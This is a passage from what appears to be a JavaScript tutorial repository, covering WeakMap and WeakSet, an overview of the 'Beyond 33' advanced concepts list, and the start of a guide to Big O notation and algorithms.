false\n```\n\n---\n\n## Map vs WeakMap Comparison\n\n| Feature | Map | WeakMap |\n|---------|-----|---------|\n| Key types | Any value | Objects only (+ non-registered Symbols) |\n| Reference type | Strong | Weak |\n| Prevents GC | Yes | No |\n| `size` property | Yes | No |\n| Iterable | Yes (`for...of`, `.keys()`, `.values()`, `.entries()`) | No |\n| `clear()` method | Yes | No |\n| Use case | General key-value storage | Object metadata, private data |\n\n### When to Use Each\n\n<Tabs>\n  <Tab title=\"Use Map When...\">\n    ```javascript\n    // You need to iterate over entries\n    const scores = new Map()\n    scores.set('Alice', 95)\n    scores.set('Bob', 87)\n    \n    for (const [name, score] of scores) {\n      console.log(`${name}: ${score}`)\n    }\n    \n    // You need primitives as keys\n    const config = new Map()\n    config.set('apiUrl', 'https://api.example.com')\n    config.set('timeout', 5000)\n    \n    // You need to know the size\n    console.log(scores.size)  // 2\n    ```\n  </Tab>\n  <Tab title=\"Use WeakMap When...\">\n    ```javascript\n    // Storing metadata for objects you don't control\n    const domData = new WeakMap()\n    const element = document.querySelector('#myElement')\n    domData.set(element, { clicks: 0 })\n    \n    // Private data for class instances\n    const privateFields = new WeakMap()\n    class MyClass {\n      constructor() {\n        privateFields.set(this, { secret: 'data' })\n      }\n    }\n    \n    // Caching computed results for objects\n    const cache = new WeakMap()\n    function compute(obj) {\n      if (!cache.has(obj)) {\n        cache.set(obj, expensiveOperation(obj))\n      }\n      return cache.get(obj)\n    }\n    ```\n  </Tab>\n</Tabs>\n\n---\n\n## Set vs WeakSet Comparison\n\n| Feature | Set | WeakSet |\n|---------|-----|---------|\n| Value types | Any value | Objects only (+ non-registered Symbols) |\n| Reference type | Strong | Weak |\n| Prevents GC | Yes | No |\n| `size` property | Yes | No |\n| Iterable | Yes | No |\n| `clear()` method | Yes | No |\n| Use case | Unique value collections | Tracking object state |\n\n---\n\n## Why No Iteration?\n\nYou can't iterate over WeakMap or WeakSet, and there's no `size` property. This isn't a limitation — it's by design. As MDN documents, exposing the contents of a WeakMap would make program behavior dependent on garbage collection timing, which varies across JavaScript engines and is non-deterministic.\n\n```javascript\nconst weakMap = new WeakMap()\nconst weakSet = new WeakSet()\n\n// None of these exist:\n// weakMap.size\n// weakMap.keys()\n// weakMap.values()\n// weakMap.entries()\n// weakMap.forEach()\n// for (const [k, v] of weakMap) { }\n\n// weakSet.size\n// weakSet.keys()\n// weakSet.values()\n// weakSet.forEach()\n// for (const v of weakSet) { }\n```\n\n**Why?** Because garbage collection is non-deterministic. The JavaScript engine decides when to clean up objects, and it varies based on memory pressure, timing, and implementation. If you could iterate over a WeakMap, the results would depend on when garbage collection happened — that's unpredictable behavior you can't rely on.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    WHY NO ITERATION?                                     │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   WeakMap / WeakSet contents depend on garbage collection timing:        │\n│                                                                          │\n│   Time 0:  weakMap = { obj1 → 'a', obj2 → 'b', obj3 → 'c' }             │\n│                                                                          │\n│   Time 1:  obj2 loses all strong references                              │\n│                                                                          │\n│   Time 2:  GC might run... or might not                                  │\n│            weakMap = { obj1 → 'a', obj2 → 'b'(?), obj3 → 'c' }          │\n│                       ↑                  ↑                               │\n│            Still there!      Maybe there, maybe not!                     │\n│                                                                          │\n│   If iteration were allowed, the same code could produce                 │\n│   different results depending on when GC runs. That's bad!               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Note>\n**The tradeoff:** WeakMap and WeakSet sacrifice enumeration for automatic memory management. If you need to list all keys/values, use regular Map/Set and manage cleanup yourself.\n</Note>\n\n---\n\n## Symbol Keys (ES2023+)\n\nAs of ES2023, WeakMap and WeakSet can also hold non-registered [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol). According to the TC39 proposal, this change was made because non-registered Symbols have the same uniqueness and garbage-collectible properties as objects, making them natural candidates for weak references:\n\n```javascript\nconst weakMap = new WeakMap()\n\n// ✓ Non-registered symbols work\nconst mySymbol = Symbol('myKey')\nweakMap.set(mySymbol, 'value')\nconsole.log(weakMap.get(mySymbol))  // \"value\"\n\n// ❌ Registered symbols (Symbol.for) don't work\nconst registeredSymbol = Symbol.for('registered')\nweakMap.set(registeredSymbol, 'value')  // TypeError!\n\n// Why? Symbol.for() symbols are global and can be recreated,\n// defeating the purpose of weak references\n```\n\n<Warning>\n**Registered vs Non-Registered Symbols:** `Symbol('key')` creates a unique, non-registered symbol. `Symbol.for('key')` creates or retrieves a global, registered symbol. Only non-registered symbols can be WeakMap/WeakSet keys because registered symbols are never garbage collected.\n</Warning>\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Expecting Immediate Cleanup\n\nGarbage collection timing is unpredictable:\n\n```javascript\nconst weakMap = new WeakMap()\n\nlet obj = { data: 'important' }\nweakMap.set(obj, 'metadata')\n\nobj = null  // Strong reference removed\n\n// The metadata might still be there!\n// GC runs when the engine decides, not immediately\nconsole.log(weakMap.has(obj))  // false (obj is null)\n// But internally, the entry might not be cleaned up yet\n```\n\n### Mistake 2: Using Primitives as Keys\n\n```javascript\nconst weakMap = new WeakMap()\n\n// ❌ These all throw TypeError\nweakMap.set('key', 'value')\nweakMap.set(123, 'value')\nweakMap.set(Symbol.for('key'), 'value')  // Registered symbol!\n\n// ✓ Use objects or non-registered symbols\nweakMap.set({ key: true }, 'value')\nweakMap.set(Symbol('key'), 'value')\n```\n\n### Mistake 3: Trying to Iterate\n\n```javascript\nconst weakMap = new WeakMap()\nweakMap.set({}, 'a')\nweakMap.set({}, 'b')\n\n// ❌ None of these work\nconsole.log(weakMap.size)  // undefined\nfor (const entry of weakMap) {}  // TypeError: weakMap is not iterable\nweakMap.forEach(v => console.log(v))  // TypeError: forEach is not a function\n```\n\n### Mistake 4: Using WeakMap When You Need Iteration\n\n```javascript\n// ❌ BAD: Using WeakMap when you need to list all cached items\nconst cache = new WeakMap()\n\nfunction getCachedItems() {\n  // Can't do this!\n  return [...cache.entries()]\n}\n\n// ✓ GOOD: Use Map if you need iteration\nconst cache = new Map()\n\nfunction getCachedItems() {\n  return [...cache.entries()]\n}\n\n// But remember to clean up manually!\nfunction clearOldEntries() {\n  for (const [key, value] of cache) {\n    if (isExpired(value)) {\n      cache.delete(key)\n    }\n  }\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about WeakMap & WeakSet:**\n\n1. **Weak references don't prevent garbage collection** — When no strong references to an object remain, it can be cleaned up even if it's in a WeakMap/WeakSet\n\n2. **Keys/values must be objects** — No primitives allowed (except non-registered Symbols in ES2023+)\n\n3. **No iteration or size** — You can't loop through or count entries; this is by design due to non-deterministic GC\n\n4. **WeakMap is perfect for private data** — Store private data keyed by `this` to create truly hidden instance data\n\n5. **WeakMap prevents metadata memory leaks** — Attach data to DOM elements or other objects without keeping them alive\n\n6. **WeakSet tracks object state** — Mark objects as \"visited\" or \"processed\" without memory leaks\n\n7. **Use WeakMap for object caching** — Cache computed results that automatically clean up when objects are gone\n\n8. **Use regular Map/Set when you need iteration** — WeakMap/WeakSet trade enumeration for automatic cleanup\n\n9. **GC timing is unpredictable** — Don't write code that depends on when exactly entries are removed\n\n10. **Symbol.for() symbols aren't allowed** — Only non-registered symbols can be keys because registered ones never get garbage collected\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: Why can't you use a string as a WeakMap key?\">\n    **Answer:**\n    \n    WeakMap keys must be objects because weak references only make sense for values with identity. Primitives like strings are immutable and interned — the string `'hello'` is always the same `'hello'` everywhere. There's no object to garbage collect.\n    \n    ```javascript\n    const weakMap = new WeakMap()\n    \n    // ❌ TypeError: Invalid value used as weak map key\n    weakMap.set('hello', 'world')\n    \n    // ✓ Objects have identity and can be garbage collected\n    weakMap.set({ greeting: 'hello' }, 'world')\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What happens to WeakMap entries when their key is garbage collected?\">\n    **Answer:**\n    \n    The entry is automatically removed from the WeakMap. You don't need to manually delete it. This happens at some point after the key loses all strong references, though the exact timing depends on when the garbage collector runs.\n    \n    ```javascript\n    const weakMap = new WeakMap()\n    let obj = { data: 'test' }\n    \n    weakMap.set(obj, 'metadata')\n    console.log(weakMap.has(obj))  // true\n    \n    obj = null  // Remove strong reference\n    // At some point, the entry will be cleaned up automatically\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why doesn't WeakMap have a size property?\">\n    **Answer:**\n    \n    Because garbage collection is non-deterministic. The size would change unpredictably based on when GC runs, making it unreliable. The same code could produce different `size` values at different times, which would be confusing and bug-prone.\n    \n    ```javascript\n    const weakMap = new WeakMap()\n    \n    // This doesn't exist:\n    // console.log(weakMap.size)  // undefined\n    \n    // If it did exist, it would be unpredictable:\n    // weakMap.size  // 5? 3? 0? Depends on GC timing!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When should you use WeakMap instead of Map?\">\n    **Answer:**\n    \n    Use WeakMap when:\n    1. You're storing metadata or private data keyed by objects\n    2. You don't need to iterate over the entries\n    3. You want automatic cleanup when the objects are no longer needed\n    \n    Use regular Map when:\n    1. You need primitive keys (strings, numbers)\n    2. You need to iterate over entries\n    3. You need to know the size\n    4. You want to explicitly control when entries are removed\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How does WeakSet help prevent memory leaks?\">\n    **Answer:**\n    \n    WeakSet allows you to track objects (e.g., \"has this been processed?\") without keeping them alive. With a regular Set, adding an object creates a strong reference that prevents garbage collection even if the object is no longer used elsewhere.\n    \n    ```javascript\n    // ❌ Memory leak with regular Set\n    const processedSet = new Set()\n    function process(obj) {\n      if (processedSet.has(obj)) return\n      processedSet.add(obj)  // Strong reference keeps obj alive forever!\n      // ...\n    }\n    \n    // ✓ No memory leak with WeakSet\n    const processedWeakSet = new WeakSet()\n    function process(obj) {\n      if (processedWeakSet.has(obj)) return\n      processedWeakSet.add(obj)  // Weak reference allows cleanup\n      // ...\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Can you use Symbol.for('key') as a WeakMap key?\">\n    **Answer:**\n    \n    No! `Symbol.for()` creates registered symbols in the global symbol registry. These symbols are never garbage collected because they can be retrieved again from anywhere using `Symbol.for()`. Only non-registered symbols (created with `Symbol()`) can be WeakMap keys.\n    \n    ```javascript\n    const weakMap = new WeakMap()\n    \n    // ❌ TypeError: Registered symbols can't be WeakMap keys\n    weakMap.set(Symbol.for('key'), 'value')\n    \n    // ✓ Non-registered symbols work (ES2023+)\n    weakMap.set(Symbol('key'), 'value')\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a WeakMap in JavaScript?\">\n    A WeakMap is a collection of key-value pairs where keys must be objects and are held via weak references. When no other strong references to a key object remain, the entry is automatically removed by garbage collection. According to MDN, WeakMap is ideal for attaching metadata to objects without preventing their cleanup.\n  </Accordion>\n\n  <Accordion title=\"Why can't you iterate over a WeakMap or WeakSet?\">\n    Because garbage collection is non-deterministic — the JavaScript engine decides when to clean up unreachable objects. If iteration were allowed, the same code could produce different results depending on GC timing. The ECMAScript specification intentionally omits `size`, `keys()`, `values()`, `entries()`, and `forEach()` from WeakMap and WeakSet to prevent this unpredictable behavior.\n  </Accordion>\n\n  <Accordion title=\"When should I use WeakMap instead of Map?\">\n    Use WeakMap when you store metadata keyed by objects you do not control (like DOM elements) and want automatic cleanup when those objects are garbage collected. Use regular Map when you need primitive keys, iteration, or explicit size tracking. WeakMap prevents memory leaks in caching and private data patterns.\n  </Accordion>\n\n  <Accordion title=\"Can WeakMap keys be strings or numbers?\">\n    No. WeakMap keys must be objects (or non-registered Symbols in ES2023+). Primitives like strings and numbers are interned values without unique identity, so weak references to them would be meaningless. Attempting to use a primitive key throws a `TypeError`.\n  </Accordion>\n\n  <Accordion title=\"How does WeakMap prevent memory leaks?\">\n    Regular Map creates strong references to key objects, keeping them alive in memory even after all other references are removed. WeakMap holds only weak references, allowing the garbage collector to reclaim key objects when they are no longer referenced elsewhere. The associated value is then automatically cleaned up as well.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Data Structures\" icon=\"sitemap\" href=\"/concepts/data-structures\">\n    Map, Set, and other JavaScript data structures\n  </Card>\n  <Card title=\"Memory Management\" icon=\"memory\" href=\"/beyond/concepts/memory-management\">\n    How JavaScript manages memory and garbage collection\n  </Card>\n  <Card title=\"Garbage Collection\" icon=\"trash\" href=\"/beyond/concepts/garbage-collection\">\n    Deep dive into JavaScript's garbage collector\n  </Card>\n  <Card title=\"Memoization\" icon=\"bolt\" href=\"/beyond/concepts/memoization\">\n    Caching function results for performance\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"WeakMap — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap\">\n    Complete WeakMap reference with all methods, examples, and browser compatibility tables.\n  </Card>\n  <Card title=\"WeakSet — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet\">\n    Complete WeakSet reference with all methods, examples, and browser compatibility tables.\n  </Card>\n  <Card title=\"Keyed Collections — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Keyed_collections\">\n    MDN guide covering Map, Set, WeakMap, and WeakSet together with comparison and use cases.\n  </Card>\n  <Card title=\"Memory Management — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Memory_management\">\n    How JavaScript handles memory allocation and garbage collection under the hood.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"WeakMap and WeakSet — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/weakmap-weakset\">\n    Clear explanation with practical examples of additional data storage and caching. Includes exercises to test your understanding.\n  </Card>\n  <Card title=\"ES6 Collections: Map, Set, WeakMap, WeakSet — 2ality\" icon=\"newspaper\" href=\"https://2ality.com/2015/01/es6-maps-sets.html\">\n    Dr. Axel Rauschmayer's deep dive into all ES6 keyed collections. Covers the spec-level details, use cases, and edge cases for WeakMap and WeakSet.\n  </Card>\n  <Card title=\"Understanding Weak References in JavaScript — LogRocket\" icon=\"newspaper\" href=\"https://blog.logrocket.com/weakmap-weakset-understanding-javascript-weak-references/\">\n    Practical guide covering WeakMap and WeakSet with real-world examples of caching and private data patterns.\n  </Card>\n  <Card title=\"JavaScript WeakMap — GeeksforGeeks\" icon=\"newspaper\" href=\"https://www.geeksforgeeks.org/javascript-weakmap/\">\n    Comprehensive tutorial covering WeakMap methods and use cases with code examples. Good reference for the API and basic usage patterns.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"WeakMap and WeakSet — Namaste JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=gwlQ_p3Mvns\">\n    Akshay Saini's detailed walkthrough with visualizations of how weak references work. Great for visual learners who want to see memory behavior.\n  </Card>\n  <Card title=\"Map, Set, WeakMap, WeakSet — Codevolution\" icon=\"video\" href=\"https://www.youtube.com/watch?v=ycohYSx5aYk\">\n    Clear comparison of all four collection types with practical code examples. Perfect for understanding when to use each one.\n  </Card>\n  <Card title=\"JavaScript WeakMap — Steve Griffith\" icon=\"video\" href=\"https://www.youtube.com/watch?v=XSkEMUuNPUU\">\n    Focused tutorial on WeakMap specifically, covering the private data pattern in depth with real-world examples.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/getting-started/overview.mdx",
    "content": "---\ntitle: \"Beyond 33: Extended JavaScript Concepts\"\nsidebarTitle: \"Overview\"\ndescription: \"Go beyond the original 33 with 29 advanced JavaScript concepts. Master hoisting, proxies, observers, and performance optimization.\"\n\"og:type\": \"website\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Beyond 33\"\n\"article:tag\": \"advanced javascript, javascript concepts, proxies, performance optimization, metaprogramming\"\n---\n\nYou've learned the fundamentals. Now it's time to go deeper.\n\n**Beyond 33** is an advanced extension of the original 33 JavaScript Concepts. These 29 additional concepts cover topics that experienced developers encounter in real-world applications — from memory management to browser APIs, from metaprogramming with Proxies to performance optimization patterns.\n\n<Info>\n**Prerequisites:** Before diving into Beyond 33, make sure you're comfortable with the [original 33 concepts](/getting-started/about). These advanced topics build directly on that foundation.\n</Info>\n\n---\n\n## What's Covered\n\nBeyond 33 is organized into 9 categories:\n\n<CardGroup cols={2}>\n  <Card title=\"Language Mechanics\" icon=\"gear\" href=\"/beyond/concepts/hoisting\">\n    Hoisting, Temporal Dead Zone, Strict Mode\n  </Card>\n  <Card title=\"Type System\" icon=\"code\" href=\"/beyond/concepts/javascript-type-nuances\">\n    Advanced type behavior, null vs undefined, Symbols, BigInt\n  </Card>\n  <Card title=\"Objects & Properties\" icon=\"cube\" href=\"/beyond/concepts/property-descriptors\">\n    Property descriptors, getters/setters, Proxy, Reflect, WeakMap/WeakSet\n  </Card>\n  <Card title=\"Memory & Performance\" icon=\"bolt\" href=\"/beyond/concepts/memory-management\">\n    Memory management, garbage collection, debouncing, throttling, memoization\n  </Card>\n  <Card title=\"Modern Syntax\" icon=\"wand-magic-sparkles\" href=\"/beyond/concepts/tagged-template-literals\">\n    Tagged template literals, computed property names\n  </Card>\n  <Card title=\"Browser Storage\" icon=\"database\" href=\"/beyond/concepts/localstorage-sessionstorage\">\n    localStorage, sessionStorage, IndexedDB, Cookies\n  </Card>\n  <Card title=\"Events\" icon=\"bell\" href=\"/beyond/concepts/event-bubbling-capturing\">\n    Event bubbling/capturing, delegation, custom events\n  </Card>\n  <Card title=\"Observer APIs\" icon=\"eye\" href=\"/beyond/concepts/intersection-observer\">\n    Intersection, Mutation, Resize, and Performance observers\n  </Card>\n</CardGroup>\n\n<Card title=\"Data Handling\" icon=\"file-code\" href=\"/beyond/concepts/json-deep-dive\">\n  JSON deep dive, Typed Arrays, Blob/File API, requestAnimationFrame\n</Card>\n\n---\n\n## Who Is This For?\n\n| If you are... | Beyond 33 will help you... |\n|---------------|---------------------------|\n| **A mid-level developer** | Fill knowledge gaps and understand how JavaScript really works under the hood |\n| **Preparing for senior interviews** | Master advanced topics that interviewers love to ask about |\n| **Building complex applications** | Learn patterns for performance, memory management, and browser APIs |\n| **A curious developer** | Explore the deeper parts of JavaScript you've always wondered about |\n\n---\n\n## The Complete List\n\n### Language Mechanics\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 34 | [Hoisting](/beyond/concepts/hoisting) | How JavaScript hoists variable and function declarations |\n| 35 | [Temporal Dead Zone](/beyond/concepts/temporal-dead-zone) | Why accessing `let`/`const` before declaration throws errors |\n| 36 | [Strict Mode](/beyond/concepts/strict-mode) | How `'use strict'` catches common mistakes |\n\n### Type System\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 37 | [JavaScript Type Nuances](/beyond/concepts/javascript-type-nuances) | null vs undefined, short-circuit evaluation, typeof quirks, Symbols, BigInt |\n\n### Objects & Properties\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 38 | [Property Descriptors](/beyond/concepts/property-descriptors) | writable, enumerable, configurable attributes |\n| 39 | [Getters & Setters](/beyond/concepts/getters-setters) | Computed properties with `get` and `set` |\n| 40 | [Object Methods](/beyond/concepts/object-methods) | Object.keys(), values(), entries(), freeze(), seal() |\n| 41 | [Proxy & Reflect](/beyond/concepts/proxy-reflect) | Intercept object operations for metaprogramming |\n| 42 | [WeakMap & WeakSet](/beyond/concepts/weakmap-weakset) | Weak references and automatic garbage collection |\n\n### Memory & Performance\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 43 | [Memory Management](/beyond/concepts/memory-management) | Memory lifecycle, stack vs heap, memory leaks |\n| 44 | [Garbage Collection](/beyond/concepts/garbage-collection) | Mark-and-sweep, generational GC, writing efficient code |\n| 45 | [Debouncing & Throttling](/beyond/concepts/debouncing-throttling) | Optimize event handlers and reduce API calls |\n| 46 | [Memoization](/beyond/concepts/memoization) | Cache function results for performance |\n\n### Modern Syntax & Operators\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 47 | [Tagged Template Literals](/beyond/concepts/tagged-template-literals) | Custom string processing and DSLs |\n| 48 | [Computed Property Names](/beyond/concepts/computed-property-names) | Dynamic keys in object literals |\n\n### Browser Storage\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 49 | [localStorage & sessionStorage](/beyond/concepts/localstorage-sessionstorage) | Web Storage APIs for client-side data |\n| 50 | [IndexedDB](/beyond/concepts/indexeddb) | Large-scale structured client-side storage |\n| 51 | [Cookies](/beyond/concepts/cookies) | Read, write, and secure cookie handling |\n\n### Events\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 52 | [Event Bubbling & Capturing](/beyond/concepts/event-bubbling-capturing) | The three phases of event propagation |\n| 53 | [Event Delegation](/beyond/concepts/event-delegation) | Handle events efficiently with bubbling |\n| 54 | [Custom Events](/beyond/concepts/custom-events) | Create and dispatch your own events |\n\n### Observer APIs\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 55 | [Intersection Observer](/beyond/concepts/intersection-observer) | Detect element visibility for lazy loading |\n| 56 | [Mutation Observer](/beyond/concepts/mutation-observer) | Watch DOM changes in real-time |\n| 57 | [Resize Observer](/beyond/concepts/resize-observer) | Respond to element size changes |\n| 58 | [Performance Observer](/beyond/concepts/performance-observer) | Measure page performance and Core Web Vitals |\n\n### Data Handling\n\n| # | Concept | Description |\n|---|---------|-------------|\n| 59 | [JSON Deep Dive](/beyond/concepts/json-deep-dive) | Replacers, revivers, circular references, custom toJSON |\n| 60 | [Typed Arrays & ArrayBuffers](/beyond/concepts/typed-arrays-arraybuffers) | Binary data handling for WebGL and file processing |\n| 61 | [Blob & File API](/beyond/concepts/blob-file-api) | Create, read, and manipulate binary data |\n| 62 | [requestAnimationFrame](/beyond/concepts/requestanimationframe) | Smooth 60fps animations synced with browser repaint |\n\n---\n\n## Ready to Begin?\n\n<CardGroup cols={2}>\n  <Card title=\"Start with Hoisting\" icon=\"arrow-right\" href=\"/beyond/concepts/hoisting\">\n    Begin your Beyond 33 journey with the first concept\n  </Card>\n  <Card title=\"Back to Fundamentals\" icon=\"arrow-left\" href=\"/getting-started/about\">\n    Review the original 33 concepts first\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/algorithms-big-o.mdx",
    "content": "---\ntitle: \"Algorithms & Big O\"\nsidebarTitle: \"Algorithms & Big O: Measuring Code Performance\"\ndescription: \"Learn Big O notation and algorithms in JavaScript. Understand time complexity, searching, sorting, and common interview patterns.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"Big O notation, time complexity, algorithms, sorting, searching, performance analysis\"\n---\n\nWhy does one solution pass all tests instantly while another times out? Why do interviewers care so much about \"time complexity\"? Consider these two functions that both find if an array contains duplicates:\n\n```javascript\n// Approach A: Nested loops\nfunction hasDuplicatesA(arr) {\n  for (let i = 0; i < arr.length; i++) {\n    for (let j = i + 1; j < arr.length; j++) {\n      if (arr[i] === arr[j]) return true\n    }\n  }\n  return false\n}\n\n// Approach B: Using a Set\nfunction hasDuplicatesB(arr) {\n  return new Set(arr).size !== arr.length\n}\n```\n\nBoth work correctly. But with 100,000 elements, Approach A takes several seconds while Approach B finishes in milliseconds. The difference? **[Big O notation](https://en.wikipedia.org/wiki/Big_O_notation)**, which tells us how code performance scales with input size.\n\n<Info>\n**What you'll learn in this guide:**\n- What Big O notation actually measures\n- The common complexities: O(1), O(log n), O(n), O(n log n), O(n²)\n- How to analyze your own code's complexity\n- JavaScript built-in methods and their complexity\n- Implementing binary search and merge sort\n- Common interview patterns: two pointers, sliding window, frequency counter\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you're familiar with [data structures](/concepts/data-structures) like arrays, objects, Maps, and Sets. You should also be comfortable with [recursion](/concepts/recursion) for the sorting algorithms section.\n</Warning>\n\n---\n\n## What is Big O Notation?\n\n**Big O notation** describes how an algorithm's runtime or space requirements grow as input size increases. First formalized by Paul Bachmann in 1894 and later popularized by Donald Knuth in *The Art of Computer Programming*, it provides an upper bound on growth rate and ignores constants, giving us a way to compare algorithms regardless of hardware.\n\n### The Package Delivery Analogy\n\nImagine you need to deliver packages to houses on a street:\n\n- **O(1)**: You have the exact address. Go directly there. Whether there are 10 or 10,000 houses, it takes the same time.\n- **O(n)**: You check each house until you find the right one. More houses = proportionally more time.\n- **O(n²)**: For each house, you compare it with every other house. 10 houses = 100 comparisons. 100 houses = 10,000 comparisons.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     HOW ALGORITHMS SCALE                                 │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Operations                                                              │\n│      ▲                                                                   │\n│      │                                              O(n²)                │\n│  1M  │                                           ••••                    │\n│      │                                        •••                        │\n│      │                                     •••                           │\n│      │                                  •••                              │\n│ 100K │                              ••••          O(n log n)             │\n│      │                           •••          ════════════               │\n│      │                       ••••        ═════                           │\n│      │                   ••••       ═════                                │\n│  10K │               •••••     ═════              O(n)                   │\n│      │           ••••     ═════            ──────────────                │\n│      │       ••••    ═════          ───────                              │\n│      │   ••••   ═════        ───────              O(log n)               │\n│   1K │•••• ═════       ──────                ............                │\n│      │═════     ───────               ........                           │\n│      │    ──────           ..........                   O(1)             │\n│  100 │────      ..........                        ══════════════         │\n│      └──────────────────────────────────────────────────────────►        │\n│          100      1K       10K      100K      1M       Input (n)         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## The Big O Complexity Scale\n\nHere are the most common complexities you'll encounter, from fastest to slowest:\n\n| Complexity | Name | Example | 1,000 items | 1,000,000 items |\n|------------|------|---------|-------------|-----------------|\n| O(1) | Constant | Array access | 1 op | 1 op |\n| O(log n) | Logarithmic | Binary search | ~10 ops | ~20 ops |\n| O(n) | Linear | Simple loop | 1,000 ops | 1,000,000 ops |\n| O(n log n) | Linearithmic | Merge sort | ~10,000 ops | ~20,000,000 ops |\n| O(n²) | Quadratic | Nested loops | 1,000,000 ops | 1,000,000,000,000 ops |\n\n<AccordionGroup>\n  <Accordion title=\"O(1) - Constant Time\">\n    The operation takes the same time regardless of input size.\n    \n    ```javascript\n    // Array access by index\n    const arr = [1, 2, 3, 4, 5]\n    const element = arr[2]  // O(1) - instant, no matter array size\n\n    // Object/Map lookup\n    const user = { name: 'Alice', age: 30 }\n    const name = user.name  // O(1)\n\n    const map = new Map()\n    map.set('key', 'value')\n    map.get('key')  // O(1)\n\n    // Array push and pop (end operations)\n    arr.push(6)  // O(1)\n    arr.pop()    // O(1)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"O(log n) - Logarithmic Time\">\n    Time increases slowly as input grows. Each step eliminates half the remaining data. This is the \"sweet spot\" for searching sorted data.\n    \n    ```javascript\n    // Binary search - covered in detail below\n    // With 1,000,000 elements, only ~20 comparisons needed!\n    \n    // Think of it like a phone book:\n    // Open middle → wrong half eliminated → repeat\n    ```\n  </Accordion>\n  \n  <Accordion title=\"O(n) - Linear Time\">\n    Time grows proportionally with input. If you double the input, you double the time.\n    \n    ```javascript\n    // Finding maximum value\n    function findMax(arr) {\n      let max = arr[0]\n      for (let i = 1; i < arr.length; i++) {  // Visits each element once\n        if (arr[i] > max) max = arr[i]\n      }\n      return max\n    }\n\n    // Most array methods are O(n)\n    arr.indexOf(5)      // O(n) - may check every element\n    arr.includes(5)     // O(n)\n    arr.find(x => x > 3)    // O(n)\n    arr.filter(x => x > 3)  // O(n)\n    arr.map(x => x * 2)     // O(n)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"O(n log n) - Linearithmic Time\">\n    Common for efficient sorting algorithms. Faster than O(n²), but slower than O(n).\n    \n    ```javascript\n    // JavaScript's built-in sort is O(n log n)\n    const sorted = [...arr].sort((a, b) => a - b)\n\n    // Merge sort and quick sort (average case) are also O(n log n)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"O(n²) - Quadratic Time\">\n    Time grows with the square of input. Nested loops over the same data are the typical culprit. **Avoid for large datasets.**\n    \n    ```javascript\n    // Checking all pairs\n    function findPairs(arr) {\n      const pairs = []\n      for (let i = 0; i < arr.length; i++) {        // O(n)\n        for (let j = i + 1; j < arr.length; j++) {  // O(n) for each i\n          pairs.push([arr[i], arr[j]])\n        }\n      }\n      return pairs  // Total: O(n) × O(n) = O(n²)\n    }\n\n    // Bubble sort - O(n²), mostly used for teaching\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## How to Analyze Your Code\n\nFollow these steps to determine your code's complexity:\n\n<Steps>\n  <Step title=\"Identify the input size\">\n    What variable represents n? Usually it's array length or a number parameter.\n  </Step>\n  \n  <Step title=\"Count the loops\">\n    - One loop over n elements = O(n)\n    - Nested loops = multiply: O(n) × O(n) = O(n²)\n    - Loop that halves each time = O(log n)\n  </Step>\n  \n  <Step title=\"Drop constants and lower terms\">\n    - O(2n) → O(n)\n    - O(n² + n) → O(n²)\n    - O(500) → O(1)\n  </Step>\n</Steps>\n\n```javascript\n// Example analysis\nfunction example(arr) {\n  console.log(arr[0])                    // O(1)\n  \n  for (let i = 0; i < arr.length; i++) { // O(n)\n    console.log(arr[i])\n  }\n  \n  for (let i = 0; i < arr.length; i++) { // O(n)\n    for (let j = 0; j < arr.length; j++) { // × O(n)\n      console.log(arr[i], arr[j])\n    }\n  }\n}\n// Total: O(1) + O(n) + O(n²) = 